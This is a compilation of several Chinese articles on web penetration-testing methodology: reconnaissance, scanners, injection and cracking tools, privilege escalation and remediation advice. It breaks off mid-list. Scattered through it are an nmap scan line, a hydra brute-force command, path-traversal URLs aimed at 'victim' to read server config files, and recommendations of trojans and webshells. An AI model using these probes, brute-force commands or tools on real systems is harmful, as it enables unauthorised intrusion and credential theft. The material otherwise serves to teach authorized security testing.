① Web滲透是怎麼弄的
1.滲透目標
滲透網站(這里指定為www.xxx.com)
切記,在滲透之前要簽訂協議。
2.信息收集
建議手動檢查和掃描器選擇同時進行。
2.1 網站常規檢測(手動)
1:瀏覽www.xxx.com
1. 初步確定網站的類型:例如銀行,醫院,政府等。
2. 查看網站功能模,比如是否有論壇,郵箱等。
3. 重點記錄網站所有的輸入點(與資料庫交互的頁面),比如用戶登錄,用戶注冊,留言板等。4. 重點查看網站是否用到了一些通用的模板,比如論壇選擇了動網(dvbss),就有可能存在動網的漏洞;郵箱有可能選擇通用的郵箱系統,也有漏洞。
2: 分析網站的url1. 利用搜索引擎,搜索網站的url,快速找到網站的動態頁面。
2. 對網站的域名進行反查,查看IP,確定伺服器上的域名數,如果主頁面url檢測沒有漏洞,可以對其他的域名進行檢測。
3:審查代碼
重點對輸入代碼(比如表單)進行分析,看如何來提交輸入,客戶端做了哪些輸入的限制方法。
1. 隱藏表單欄位 hidden
2. Username,Password等
4:控制項分析
Active x 通常都是用c/c++編寫
在頁面上(通常是首頁)的源碼中搜索
1. 需要ComRaider+OD 對dll文件進行反編譯,看是否有漏洞。
2. 改變程序執行的路徑,破壞Active X 實施的輸入確認,看web的回應。
5:對常規的輸入進行手動注入測試,測試是否有sql注入和跨站漏洞,試用常規的用戶名和密碼登錄。
6:查看web伺服器的版本,確定搜索是否有低版本伺服器組件和框架的漏洞,比如通用的Java框架Struct2的漏洞。
2.2 工具選擇和使用
1:web應用程序漏洞掃描工具
Appscan: (版本7.8)
掃描漏洞比較全,中文,漏洞利用率高,檢測速度慢,需要大量內存,重點推薦。
AWVS:
英文,漏洞庫完善,檢測速度慢。
JSky
中文,檢測速度快,但深度一般。
Nessus
英文,檢測速度較快,漏洞也比較完善,免費,可及時更新,B/S界面。
2:埠掃描
Nmap
流光
3: 口令破解工具
溯雪
4:sql 注入工具
Asp+SqlServe, ACCESS:啊D注入工具
Php+MySQL : php+mysql注入工具(暗組的hacker欄中)
Jsp+ORACAL: CnsaferSI
支持以上資料庫 Pangolin
5: http代理請求
Paros
6:木馬
灰鴿子
7:提權木馬
一句話木馬大馬(具體所用的木馬參考文檔和工具包(綠盟,暗組))
5: 工具推薦使用方案
Appscan掃描出的重大漏洞,進行手工檢測(注意看漏洞是如何發現的,修改漏洞的代碼,對滲透幫助很大)。
sql注入漏洞
可以選用根據網站類型選擇sql注入工具
如果是post請求類型的url,選擇使用paros代理後,修改http請求包,進行注入。
WebDEV漏洞
可以啟用發送請求(比如DELETE對方網頁)
跨站漏洞
直接將appscan的代碼輸入測試,成功後,可以嘗試跨其他腳本(比如
遍歷漏洞:
網頁的目錄,下載網站配置文件信息,和源文件進行反編譯
反編譯:
Class 可以選用java 反編譯工具
Dll (asp.net) 選用Reflector
3.分析並滲透
---------------------
作者:centos2015
來源:CSDN
原文:https://blog.csdn.net/zonghua521/article/details/78272634
版權聲明:本文為博主原創文章,轉載請附上博文鏈接!
② 如何對網站進行滲透測試和漏洞掃描
零、前言
滲透測試在未得到被測試方授權之前依據某些地區法律規定是違法行為。 這里我們提供的所有滲透測試方法均為(假設為)合法的評估服務,也就是通常所說的道德黑客行為(Ethical hacking),因此我們這里的所有讀者應當都是Ethical Hackers,如果您還不是,那麼我希望您到過這里後會成為他們中的一員 ;)
這里,我還想對大家說一些話:滲透測試重在實踐,您需要一顆永不言敗的心和一個有著活躍思維的大腦。不是說您將這一份文檔COPY到您網站上或者保存到本地電腦您就會了,即使您將它列印出來沾點辣椒醬吃了也不行,您一定要根據文檔一步一步練習才行。而且測試重在用腦,千萬別拿上一兩個本文中提到的工具一陣亂搞,我敢保證:互聯網的安全不為因為這樣而更安全。祝您好運。。。
一、簡介
什麼叫滲透測試?
滲透測試最簡單直接的解釋就是:完全站在攻擊者角度對目標系統進行的安全性測試過程。
進行滲透測試的目的?
了解當前系統的安全性、了解攻擊者可能利用的途徑。它能夠讓管理人員非常直觀的了解當前系統所面臨的問題。為什麼說叫直觀呢?就像Mitnick書裡面提到的那樣,安全管理(在這里我們改一下,改成安全評估工作)需要做到面面俱到才算成功,而一位黑客(滲透測試)只要能通過一點進入系統進行破壞,他就算是很成功的了。
滲透測試是否等同於風險評估?
不是,你可以暫時理解成滲透測試屬於風險評估的一部分。事實上,風險評估遠比滲透測試復雜的多,它除滲透測試外還要加上資產識別,風險分析,除此之外,也還包括了人工審查以及後期的優化部分(可選)。
已經進行了安全審查,還需要滲透測試嗎?
如果我對您說:嘿,中國的現有太空理論技術通過計算機演算已經能夠證明中國完全有能力實現宇航員太空漫步了,沒必要再發射神8了。您能接受嗎?
滲透測試是否就是黑盒測試?
否,很多技術人員對這個問題都存在這個錯誤的理解。滲透測試不只是要模擬外部黑客的入侵,同時,防止內部人員的有意識(無意識)攻擊也是很有必要的。這時,安全測試人員可以被告之包括代碼片段來內的有關於系統的一些信息。這時,它就滿足灰盒甚至白盒測試。
滲透測試涉及哪些內容?
技術層面主要包括網路設備,主機,資料庫,應用系統。另外可以考慮加入社會工程學(入侵的藝術/THE ART OF INTRUSION)。
滲透測試有哪些不足之處?
主要是投入高,風險高。而且必須是專業的Ethical Hackers才能相信輸出的最終結果。
你說的那麼好,為什麼滲透測試工作在中國開展的不是很火熱呢?
我只能說:會的,一定會的。滲透測試的關鍵在於沒法證明你的測試結果就是完善的。用戶不知道花了錢證明了系統有問題以後,自己的安全等級到了一個什麼程序。但是很顯然,用戶是相信一個專業且經驗豐富的安全團隊的,這個在中國問題比較嚴重。在我接觸了一些大型的安全公司進行的一些滲透測試過程來看,測試人員的水平是對不住開的那些價格的,而且從測試過程到結果報表上來看也是不負責的。我估計在三年以後,這種情況會有所改觀,到時一方面安全人員的技術力量有很大程度的改觀,另一方面各企業對滲透測試會有一個比較深刻的理解,也會將其做為一種IT審計的方式加入到開發流程中去。滲透測試的專業化、商業化會越來越成熟。
二、制定實施方案
實施方案應當由測試方與客戶之間進行溝通協商。一開始測試方提供一份簡單的問卷調查了解客戶對測試的基本接收情況。內容包括但不限於如下:
目標系統介紹、重點保護對象及特性。
是否允許數據破壞?
是否允許阻斷業務正常運行?
測試之前是否應當知會相關部門介面人?
接入方式?外網和內網?
測試是發現問題就算成功,還是盡可能的發現多的問題?
滲透過程是否需要考慮社會工程?
。。。
在得到客戶反饋後,由測試方書寫實施方案初稿並提交給客戶,由客戶進行審核。在審核完成後,客戶應當對測試方進行書面委託授權。這里,兩部分文檔分別應當包含如下內容:
實施方案部分:
...
書面委託授權部分:
...
三、具體操作過程
1、信息收集過程
網路信息收集:
在這一部還不會直接對被測目標進行掃描,應當先從網路上搜索一些相關信息,包括Google Hacking, Whois查詢, DNS等信息(如果考慮進行社會工程學的話,這里還可以相應從郵件列表/新聞組中獲取目標系統中一些邊緣信息如內部員工帳號組成,身份識別方式,郵件聯系地址等)。
1.使用whois查詢目標域名的DNS伺服器
2.nslookup
>set type=all
><domain>
>server <ns server>
>set q=all
>ls -d <domain>
涉及的工具包括:Google,Demon,webhosting.info,Apollo,Athena,GHDB.XML,netcraft,seologs除此之外,我想特別提醒一下使用Googlebot/2.1繞過一些文件的獲取限制。
Google hacking 中常用的一些語法描述
1.搜索指定站點關鍵字site。你可以搜索具體的站點如site:www.nosec.org。使用site:nosec.org可以搜索該域名下的所有子域名的頁面。甚至可以使用site:org.cn來搜索中國政府部門的網站。
2.搜索在URL網址中的關鍵字inurl。比如你想搜索帶參數的站點,你可以嘗試用inurl:asp?id=
3.搜索在網頁標題中的關鍵字intitle。如果你想搜索一些登陸後台,你可以嘗試使用intitle:"admin login"
目標系統信息收集:
通過上面一步,我們應當可以簡單的描繪出目標系統的網路結構,如公司網路所在區域,子公司IP地址分布,VPN接入地址等。這里特別要注意一些比較偏門的HOST名稱地址,如一些backup開頭或者temp開關的域名很可能就是一台備份伺服器,其安全性很可能做的不夠。
從獲取的地址列表中進行系統判斷,了解其組織架構及操作系統使用情況。最常用的方法的是目標所有IP網段掃描。
埠/服務信息收集:
這一部分已經可以開始直接的掃描操作,涉及的工具包括:nmap,thc-amap
1.我最常使用的參數
nmap -sS -p1-10000 -n -P0 -oX filename.xml --open -T5 <ip address>
應用信息收集:httprint,SIPSCAN,smap
這里有必要將SNMP拿出來單獨說一下,因為目前許多運營商、大型企業內部網路的維護台通過SNMP進行數據傳輸,大部分情況是使用了默認口令的,撐死改了private口令。這樣,攻擊者可以通過它收集到很多有效信息。snmp-gui,HiliSoft MIB Browser,mibsearch,net-snmp都是一些很好的資源。
2、漏洞掃描
這一步主要針對具體系統目標進行。如通過第一步的信息收集,已經得到了目標系統的IP地址分布及對應的域名,並且我們已經通過一些分析過濾出少許的幾個攻擊目標,這時,我們就可以針對它們進行有針對性的漏洞掃描。這里有幾個方面可以進行:
針對系統層面的工具有:ISS, Nessus, SSS, Retina, 天鏡, 極光
針對WEB應用層面的工具有:AppScan, Acunetix Web Vulnerability Scanner, WebInspect, Nstalker
針對資料庫的工具有:ShadowDatabaseScanner, NGSSQuirreL
針對VOIP方面的工具有:PROTOS c07 sip(在測試中直接用這個工具轟等於找死)以及c07 h225, Sivus, sipsak等。
事實上,每個滲透測試團隊或多或少都會有自己的測試工具包,在漏洞掃描這一塊針對具體應用的工具也比較個性化。
3、漏洞利用
有時候,通過服務/應用掃描後,我們可以跳過漏洞掃描部分,直接到漏洞利用。因為很多情況下我們根據目標服務/應用的版本就可以到一些安全網站上獲取針對該目標系統的漏洞利用代碼,如milw0rm, securityfocus,packetstormsecurity等網站,上面都對應有搜索模塊。實在沒有,我們也可以嘗試在GOOGLE上搜索「應用名稱 exploit」、「應用名稱 vulnerability」等關鍵字。
當然,大部分情況下你都可以不這么麻煩,網路中有一些工具可供我們使用,最著名的當屬metasploit了,它是一個開源免費的漏洞利用攻擊平台。其他的多說無益,您就看它從榜上無名到沖進前五(top 100)這一點來說,也能大概了解到它的威力了。除此之外,如果您(您們公司)有足夠的moeny用於購買商用軟體的話,CORE IMPACT是相當值得考慮的,雖然說價格很高,但是它卻是被業界公認在滲透測試方面的泰山北斗,基本上測試全自動。如果您覺得還是接受不了,那麼您可以去購買CANVAS,據說有不少0DAY,不過它跟metasploit一樣,是需要手動進行測試的。最後還有一個需要提及一下的Exploitation_Framework,它相當於一個漏洞利用代碼管理工具,方便進行不同語言,不同平台的利用代碼收集,把它也放在這里是因為它本身也維護了一個exploit庫,大家參考著也能使用。
上面提到的是針對系統進行的,在針對WEB方面,注入工具有NBSI, OWASP SQLiX, SQL Power Injector, sqlDumper, sqlninja, sqlmap, Sqlbftools, priamos, ISR-sqlget***等等。
在針對資料庫方面的工具有:
資料庫 工具列表 Oracle(1521埠): 目前主要存在以下方面的安全問題:
1、TNS監聽程序攻擊(sid信息泄露,停止服務等)
2、默認賬號(default password list)
3、SQL INJECTION(這個與傳統的意思還不太一樣)
4、緩沖區溢出,現在比較少了。 thc-orakel, tnscmd, oscanner, Getsids, TNSLSNR, lsnrcheck, OAT, Checkpwd, orabf MS Sql Server(1433、1434埠) Mysql(3306埠) DB2(523、50000、50001、50002、50003埠) db2utils Informix(1526、1528埠)
在針對Web伺服器方面的工具有:
WEB伺服器 工具列表 IIS IISPUTSCANNER Tomcat 想起/admin和/manager管理目錄了嗎?另外,目錄列表也是Tomcat伺服器中最常見的問題。比如5.*版本中的http://127.0.0.1/;index.jsp
http://www.example.com/foo/"../manager/html
http://www.example.com:8080/examples/servlets/servlet/CookieExample?cookiename=HAHA&cookievalue=%5C%22FOO%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2F%3B
http://www.example.com:8080/servlets-examples/servlet/CookieExample?cookiename=BLOCKER&cookievalue=%5C%22A%3D%27%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2Fservlets-examples%2Fservlet+%3B JBOSS jboss的漏洞很少,老版本中8083埠有%符號的漏洞:
GET %. HTTP/1.0可以獲取物理路徑信息,
GET %server.policy HTTP/1.0可以獲取安全策略配置文檔。
你也可以直接訪問GET %org/xxx/lib.class來獲取編譯好的java程序,再使用一些反編譯工具還原源代碼。 Apache Resin http://victim/C:%5C/
http://victim/resin-doc/viewfile/?file=index.jsp
http://victim/resin-doc/viewfile/?contextpath=/otherwebapp&servletpath=&file=WEB-INF/web.xml
http://victim/resin-doc/viewfile/?contextpath=/&servletpath=&file=WEB-INF/classes/com/webapp/app/target.class
http://victim/[path]/[device].[extension]
http://victim/%20.."web-inf
http://victim/%20
http://victim/[path]/%20.xtp WebLogic
Web安全測試主要圍繞幾塊進行:
Information Gathering:也就是一般的信息泄漏,包括異常情況下的路徑泄漏、文件歸檔查找等
Business logic testing:業務邏輯處理攻擊,很多情況下用於進行業務繞過或者欺騙等等
Authentication Testing:有無驗證碼、有無次數限制等,總之就是看能不能暴力破解或者說容不容易通過認證,比較直接的就是「默認口令」或者弱口令了
Session Management Testing:會話管理攻擊在COOKIE攜帶認證信息時最有效
Data Validation Testing:數據驗證最好理解了,就是SQL Injection和Cross Site Script等等
目前網上能夠找到許多能夠用於進行Web測試的工具,根據不同的功能分主要有:
枚舉(Enumeration): DirBuster, http-dir-enum, wget
基於代理測試類工具:paros, webscarab, Burp Suite
針對WebService測試的部分有一些尚不是很成熟的工具,如:wsbang,wschess,wsmap,wsdigger,wsfuzzer
這一部分值得一提的是,很多滲透測試團隊都有著自己的測試工具甚至是0DAY代碼,最常見的是SQL注入工具,現網開發的注入工具(如NBSI等)目前都是針對中小企業或者是個人站點/資料庫進行的,針對大型目標系統使用的一些相對比較偏門的資料庫系統(如INFORMIX,DB2)等,基本上還不涉及或者說還不夠深入。這時各滲透測試團隊就開發了滿足自身使用習慣的測試工具。
在針對無線環境的攻擊有:WifiZoo
4、許可權提升
在前面的一些工作中,你或許已經得到了一些控制許可權,但是對於進一步攻擊來說卻還是不夠。例如:你可能很容易的能夠獲取Oracle資料庫的訪問許可權,或者是得到了UNIX(AIX,HP-UX,SUNOS)的一個基本賬號許可權,但是當你想進行進一步的滲透測試的時候問題就來了。你發現你沒有足夠的許可權打開一些密碼存儲文件、你沒有辦法安裝一個SNIFFER、你甚至沒有許可權執行一些很基本的命令。這時候你自然而然的就會想到許可權提升這個途徑了。
目前一些企業對於補丁管理是存在很大一部分問題的,他們可能壓根就沒有想過對一些伺服器或者應用進行補丁更新,或者是延時更新。這時候就是滲透測試人員的好機會了。經驗之談:有一般許可權的Oracle賬號或者AIX賬號基本上等於root,因為這就是現實生活。
5、密碼破解
有時候,目標系統任何方面的配置都是無懈可擊的,但是並不是說就完全沒辦法進入。最簡單的說,一個缺少密碼完全策略的論證系統就等於你安裝了一個不能關閉的防盜門。很多情況下,一些安全技術研究人員對此不屑一顧,但是無數次的安全事故結果證明,往往破壞力最大的攻擊起源於最小的弱點,例如弱口令、目錄列表、SQL注入繞過論證等等。所以說,對於一些專門的安全技術研究人員來說,這一塊意義不大,但是對於一個ethical hacker來說,這一步驟是有必要而且絕大部分情況下是必須的。;)
目前比較好的網路密碼暴力破解工具有:thc-hydra,brutus
>hydra.exe -L users.txt -P passwords.txt -o test.txt -s 2121 www.heimian.com ftp
目前網路中有一種資源被利用的很廣泛,那就是rainbow table技術,說白了也就是一個HASH對應表,有一些網站提供了該種服務,對外宣稱存儲空間大於多少G,像rainbowcrack更是對外宣稱其數據量已經大於1.3T。
針對此種方式對外提供在線服務的有:
網址 描述 rainbowcrack 裡面對應了多種加密演算法的HASH。 http://gdataonline.com/seekhash.php http://www.milw0rm.com/cracker/info.php http://www.hashchecker.com/?_sls=search_hash http://bokehman.com/cracker/ http://passcracking.ru/ http://www.md5.org.cn http://www.cmd5.com/ 數據量全球第一,如果本站無法破解,那麼你只能去拜春哥...
當然,有些單機破解軟體還是必不可少的:Ophcrack,rainbowcrack(國人開發,贊一個),cain,L0phtCrack(破解Windows密碼),John the Ripper(破解UNIX/LINUX)密碼,當然,還少不了一個FindPass...
針對網路設備的一些默認帳號,你可以查詢http://www.routerpasswords.com/和http://www.phenoelit-us.org/dpl/dpl.html
在滲透測試過程中,一旦有機會接觸一些OFFICE文檔,且被加了密的話,那麼,rixler是您馬上要去的地方,他們提供的OFFICE密碼套件能在瞬間打開OFFICE文檔(2007中我沒有試過,大家有機會測試的話請給我發一份測試結果說明,謝謝)。看來微軟有理由來個補丁什麼的了。對於企業來說,您可以考慮使用鐵卷或者RMS了。
6、日誌清除
It is not necessary actually.
7、進一步滲透
攻入了DMZ區一般情況下我們也不會獲取多少用價值的信息。為了進一步鞏固戰果,我們需要進行進一步的內網滲透。到這一步就真的算是無所不用其及。最常用且最有效的方式就是Sniff抓包(可以加上ARP欺騙)。當然,最簡單的你可以翻翻已入侵機器上的一些文件,很可能就包含了你需要的一些連接帳號。比如說你入侵了一台Web伺服器,那麼絕大部分情況下你可以在頁面的代碼或者某個配置文件中找到連接資料庫的帳號。你也可以打開一些日誌文件看一看。
除此之外,你可以直接回到第二步漏洞掃描來進行。
四、生成報告
報告中應當包含:
薄弱點列表清單(按照嚴重等級排序)
薄弱點詳細描述(利用方法)
解決方法建議
參與人員/測試時間/內網/外網
五、測試過程中的風險及規避
在測試過程中無可避免的可能會發生很多可預見和不可預見的風險,測試方必須提供規避措施以免對系統造成重大的影響。以下一些可供參考:
1. 不執行任何可能引起業務中斷的攻擊(包括資源耗竭型DoS,畸形報文攻擊,數據破壞)。
2. 測試驗證時間放在業務量最小的時間進行。
3. 測試執行前確保相關數據進行備份。
4. 所有測試在執行前和維護人員進行溝通確認。
5. 在測試過程中出現異常情況時立即停止測試並及時恢復系統。
6. 對原始業務系統進行一個完全的鏡像環境,在鏡像環境上進行滲透測試。
③ 網站滲透測試怎麼做
在獲取書面授權的前提下。
1)信息收集,
1,獲取域名的whois信息,獲取注冊者郵箱姓名電話等。
2,查詢伺服器旁站以及子域名站點,因為主站一般比較難,所以先看看旁站有沒有通用性的cms或者其他漏洞。
3,查看伺服器操作系統版本,web中間件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞
4,查看IP,進行IP地址埠掃描,對響應的埠進行漏洞探測,比如 rsync,心臟出血,mysql,ftp,ssh弱口令等。
5,掃描網站目錄結構,看看是否可以遍歷目錄,或者敏感文件泄漏,比如php探針
6,google hack 進一步探測網站的信息,後台,敏感文件
2)漏洞掃描
開始檢測漏洞,如XSS,XSRF,sql注入,代碼執行,命令執行,越權訪問,目錄讀取,任意文件讀取,下載,文件包含,
遠程命令執行,弱口令,上傳,編輯器漏洞,暴力破解等
3)漏洞利用
利用以上的方式拿到webshell,或者其他許可權
4)許可權提升
提權伺服器,比如windows下mysql的udf提權,serv-u提權,windows低版本的漏洞,如iis6,pr,巴西烤肉,
linux藏牛漏洞,linux內核版本漏洞提權,linux下的mysql system提權以及oracle低許可權提權
5) 日誌清理
6)總結報告及修復方案
④ 滲透測試工具的Web應用漏洞檢測
隨著信息網路的發展,人們的信息安全意識日益提升,信息系統的安全防護措施也逐漸提高。通常在伺服器的互聯網邊界處都會部署防火牆來隔離內外網路,僅僅將外部需要的伺服器埠暴露出來。採用這種措施可以大大的提高信息系統安全等級,對於外部攻擊者來說,就像關閉了所有無關的通路,僅僅留下一個必要入口。但是仍然有一類安全問題無法避免,就是web應用漏洞。目前的大多數應用都是採用B/S模式,由於伺服器需要向外界提供web應用,http服務是無法關閉的。web應用漏洞就是利用這個合法的通路,採用SQL注入、跨站腳本、表單破解等應用攻擊方式來獲取伺服器的高級許可權。在目前的網路環境下,威脅最大的漏洞形式就是web應用漏洞,通常是攻擊者攻陷伺服器的第一步。常見的漏洞包括SQL注入、跨站腳本攻擊和編碼漏洞等,表單破解主要是針對伺服器用戶的弱口令破解。從本質上來說,應用漏洞的形成原因是程序編寫時沒有對用戶的輸入字元進行嚴格的過濾,造成用戶可以精心構造一個惡意字元串達到自己的目的。 溯雪是一款國產軟體,主要的功能是進行表單破解。由於目前的應用多數採用B/S模式,登錄窗口也都採用表單提交的方式,使得基於傳統協議的暴力破解軟體沒有用武之地。針對此類應用,採用溯雪等基於表單的暴力破解軟體可以很好的進行弱口令掃描。
溯雪的工作原理是抽取目標網站中的表單元素,搜尋錯誤登錄時的錯誤標志,然後採用字典填充其值並不斷提交嘗試獲得正確的連接。 Pangolin是一款SQL注入測試工具,能夠自動化的進行注入漏洞的檢測,從檢測注入開始到最後控制目標系統都給出了測試步驟,是目前國內使用率最高的SQL注入測試軟體。支持的資料庫包括Access、DB2、Informix、Microsoft SQL Server 2000、Microsoft SQL Server 2005、Microsoft SQL Server 2008、Mysql、Oracle、PostgreSQL、Sqlite3、Sybase。
⑤ 滲透測試應該怎麼做呢
01、信息收集
1、域名、IP、埠
域名信息查詢:信息可用於後續滲透
IP信息查詢:確認域名對應IP,確認IP是否真實,確認通信是否正常
埠信息查詢:NMap掃描,確認開放埠
發現:一共開放兩個埠,80為web訪問埠,3389為windows遠程登陸埠,嘿嘿嘿,試一下
發現:是Windows Server 2003系統,OK,到此為止。
2、指紋識別
其實就是網站的信息。比如通過可以訪問的資源,如網站首頁,查看源代碼:
看看是否存在文件遍歷的漏洞(如圖片路徑,再通過…/遍歷文件)
是否使用了存在漏洞的框架(如果沒有現成的就自己挖)
02、漏洞掃描
1、主機掃描
Nessus
經典主機漏掃工具,看看有沒有CVE漏洞:
2、Web掃描
AWVS(Acunetix | Website Security Scanner)掃描器
PS:掃描器可能會對網站構成傷害,小心謹慎使用。
03、滲透測試
1、弱口令漏洞
漏洞描述
目標網站管理入口(或資料庫等組件的外部連接)使用了容易被猜測的簡單字元口令、或者是默認系統賬號口令。
滲透測試
① 如果不存在驗證碼,則直接使用相對應的弱口令字典使用burpsuite 進行爆破
② 如果存在驗證碼,則看驗證碼是否存在繞過、以及看驗證碼是否容易識別
風險評級:高風險
安全建議
① 默認口令以及修改口令都應保證復雜度,比如:大小寫字母與數字或特殊字元的組合,口令長度不小於8位等
② 定期檢查和更換網站管理口令
2、文件下載(目錄瀏覽)漏洞
漏洞描述
一些網站由於業務需求,可能提供文件查看或下載的功能,如果對用戶查看或下載的文件不做限制,則惡意用戶就能夠查看或下載任意的文件,可以是源代碼文件、敏感文件等。
滲透測試
① 查找可能存在文件包含的漏洞點,比如js,css等頁面代碼路徑
② 看看有沒有文件上傳訪問的功能
③ 採用…/來測試能否誇目錄訪問文件
風險評級:高風險
安全建議
① 採用白名單機制限制伺服器目錄的訪問,以及可以訪問的文件類型(小心被繞過)
② 過濾【./】等特殊字元
③ 採用文件流的訪問返回上傳文件(如用戶頭像),不要通過真實的網站路徑。
示例:tomcat,默認關閉路徑瀏覽的功能:
<param-name>listings</param-name>
<param-value>false</param-value>
3、任意文件上傳漏洞
漏洞描述
目標網站允許用戶向網站直接上傳文件,但未對所上傳文件的類型和內容進行嚴格的過濾。
滲透測試
① 收集網站信息,判斷使用的語言(PHP,ASP,JSP)
② 過濾規則繞過方法:文件上傳繞過技巧
風險評級:高風險
安全建議
① 對上傳文件做有效文件類型判斷,採用白名單控制的方法,開放只允許上傳的文件型式;
② 文件類型判斷,應對上傳文件的後綴、文件頭、圖片類的預覽圖等做檢測來判斷文件類型,同時注意重命名(Md5加密)上傳文件的文件名避免攻擊者利用WEB服務的缺陷構造畸形文件名實現攻擊目的;
③ 禁止上傳目錄有執行許可權;
④ 使用隨機數改寫文件名和文件路徑,使得用戶不能輕易訪問自己上傳的文件。
4、命令注入漏洞
漏洞描述
目標網站未對用戶輸入的字元進行特殊字元過濾或合法性校驗,允許用戶輸入特殊語句,導致各種調用系統命令的web應用,會被攻擊者通過命令拼接、繞過黑名單等方式,在服務端運行惡意的系統命令。
滲透測試
風險評級:高風險
安全建議
① 拒絕使用拼接語句的方式進行參數傳遞;
② 盡量使用白名單的方式(首選方式);
③ 過濾危險方法、特殊字元,如:【|】【&】【;】【』】【"】等
5、SQL注入漏洞
漏洞描述
目標網站未對用戶輸入的字元進行特殊字元過濾或合法性校驗,允許用戶輸入特殊語句查詢後台資料庫相關信息
滲透測試
① 手動測試:判斷是否存在SQL注入,判斷是字元型還是數字型,是否需要盲注
② 工具測試:使用sqlmap等工具進行輔助測試
風險評級:高風險
安全建議
① 防範SQL注入攻擊的最佳方式就是將查詢的邏輯與其數據分隔,如Java的預處理,PHP的PDO
② 拒絕使用拼接SQL的方式
6、跨站腳本漏洞
漏洞描述
當應用程序的網頁中包含不受信任的、未經恰當驗證或轉義的數據時,或者使用可以創建 HTML或JavaScript 的瀏覽器 API 更新現有的網頁時,就會出現 XSS 缺陷。XSS 讓攻擊者能夠在受害者的瀏覽器中執行腳本,並劫持用戶會話、破壞網站或將用戶重定向到惡意站點。
三種XSS漏洞:
① 存儲型:用戶輸入的信息被持久化,並能夠在頁面顯示的功能,都可能存在存儲型XSS,例如用戶留言、個人信息修改等。
② 反射型:URL參數需要在頁面顯示的功能都可能存在反射型跨站腳本攻擊,例如站內搜索、查詢功能。
③ DOM型:涉及DOM對象的頁面程序,包括:document.URL、document.location、document.referrer、window.location等
滲透測試
存儲型,反射型,DOM型
風險評級:高風險
安全建議
① 不信任用戶提交的任何內容,對用戶輸入的內容,在後台都需要進行長度檢查,並且對【<】【>】【"】【』】【&】等字元做過濾
② 任何內容返回到頁面顯示之前都必須加以html編碼,即將【<】【>】【"】【』】【&】進行轉義。
7、跨站請求偽造漏洞
漏洞描述
CSRF,全稱為Cross-Site Request Forgery,跨站請求偽造,是一種網路攻擊方式,它可以在用戶毫不知情的情況下,以用戶的名義偽造請求發送給被攻擊站點,從而在未授權的情況下進行許可權保護內的操作,如修改密碼,轉賬等。
滲透測試
風險評級:中風險(如果相關業務極其重要,則為高風險)
安全建議
① 使用一次性令牌:用戶登錄後產生隨機token並賦值給頁面中的某個Hidden標簽,提交表單時候,同時提交這個Hidden標簽並驗證,驗證後重新產生新的token,並賦值給hidden標簽;
② 適當場景添加驗證碼輸入:每次的用戶提交都需要用戶在表單中填寫一個圖片上的隨機字元串;
③ 請求頭Referer效驗,url請求是否前部匹配Http(s)😕/ServerHost
④ 關鍵信息輸入確認提交信息的用戶身份是否合法,比如修改密碼一定要提供原密碼輸入
⑤ 用戶自身可以通過在瀏覽其它站點前登出站點或者在瀏覽器會話結束後清理瀏覽器的cookie;
8、內部後台地址暴露
漏洞描述
一些僅被內部訪問的地址,對外部暴露了,如:管理員登陸頁面;系統監控頁面;API介面描述頁面等,這些會導致信息泄露,後台登陸等地址還可能被爆破。
滲透測試
① 通過常用的地址進行探測,如login.html,manager.html,api.html等;
② 可以借用burpsuite和常規頁面地址字典,進行掃描探測
風險評級:中風險
安全建議
① 禁止外網訪問後台地址
② 使用非常規路徑(如對md5加密)
9、信息泄露漏洞
漏洞描述
① 備份信息泄露:目標網站未及時刪除編輯器或者人員在編輯文件時,產生的臨時文件,或者相關備份信息未及時刪除導致信息泄露。
② 測試頁面信息泄露:測試界面未及時刪除,導致測試界面暴露,被他人訪問。
③ 源碼信息泄露:目標網站文件訪問控制設置不當,WEB伺服器開啟源碼下載功能,允許用戶訪問網站源碼。
④ 錯誤信息泄露:目標網站WEB程序和伺服器未屏蔽錯誤信息回顯,頁面含有CGI處理錯誤的代碼級別的詳細信息,例如SQL語句執行錯誤原因,PHP的錯誤行數等。
⑤ 介面信息泄露:目標網站介面訪問控制不嚴,導致網站內部敏感信息泄露。
滲透測試
① 備份信息泄露、測試頁面信息泄露、源碼信息泄露,測試方法:使用字典,爆破相關目錄,看是否存在相關敏感文件
② 錯誤信息泄露,測試方法:發送畸形的數據報文、非正常的報文進行探測,看是否對錯誤參數處理妥當。
③ 介面信息泄露漏洞,測試方法:使用爬蟲或者掃描器爬取獲取介面相關信息,看目標網站對介面許可權是否合理
風險評級:一般為中風險,如果源碼大量泄漏或大量客戶敏感信息泄露。
安全建議
① 備份信息泄露漏洞:刪除相關備份信息,做好許可權控制
② 測試頁面信息泄露漏洞:刪除相關測試界面,做好許可權控制
③ 源碼信息泄露漏洞:做好許可權控制
④ 錯誤信息泄露漏洞:將錯誤信息對用戶透明化,在CGI處理錯誤後可以返回友好的提示語以及返回碼。但是不可以提示用戶出錯的代碼級別的詳細原因
⑤ 介面信息泄露漏洞:對介面訪問許可權嚴格控制
10、失效的身份認證
漏洞描述
通常,通過錯誤使用應用程序的身份認證和會話管理功能,攻擊者能夠破譯密碼、密鑰或會話令牌, 或者利用其它開發缺陷來暫時性或永久性冒充其他用戶的身份。
滲透測試
① 在登陸前後觀察,前端提交信息中,隨機變化的數據,總有與當前已登陸用戶進行綁定的會話唯一標識,常見如cookie
② 一般現在網站沒有那種簡單可破解的標識,但是如果是跨站認證,單點登錄場景中,可能為了開發方便而簡化了身份認證
風險評級:高風險
安全建議
① 使用強身份識別,不使用簡單弱加密方式進行身份識別;
② 伺服器端使用安全的會話管理器,在登錄後生成高度復雜的新隨機會話ID。會話ID不能在URL中,可以安全地存儲,在登出、閑置超時後使其失效。
11、失效的訪問控制
漏洞描述
未對通過身份驗證的用戶實施恰當的訪問控制。攻擊者可以利用這些缺陷訪問未經授權的功能或數據,例如:訪問其他用戶的帳戶、查看敏感文件、修改其他用戶的數據、更改訪問許可權等。
滲透測試
① 登入後,通過burpsuite 抓取相關url 鏈接,獲取到url 鏈接之後,在另一個瀏覽器打開相關鏈接,看能夠通過另一個未登入的瀏覽器直接訪問該功能點。
② 使用A用戶登陸,然後在另一個瀏覽器使用B用戶登陸,使用B訪問A獨有的功能,看能否訪問。
風險評級:高風險
安全建議
① 除公有資源外,默認情況下拒絕訪問非本人所有的私有資源;
② 對API和控制器的訪問進行速率限制,以最大限度地降低自動化攻擊工具的危害;
③ 當用戶注銷後,伺服器上的Cookie,JWT等令牌應失效;
④ 對每一個業務請求,都進行許可權校驗。
12、安全配置錯誤
漏洞描述
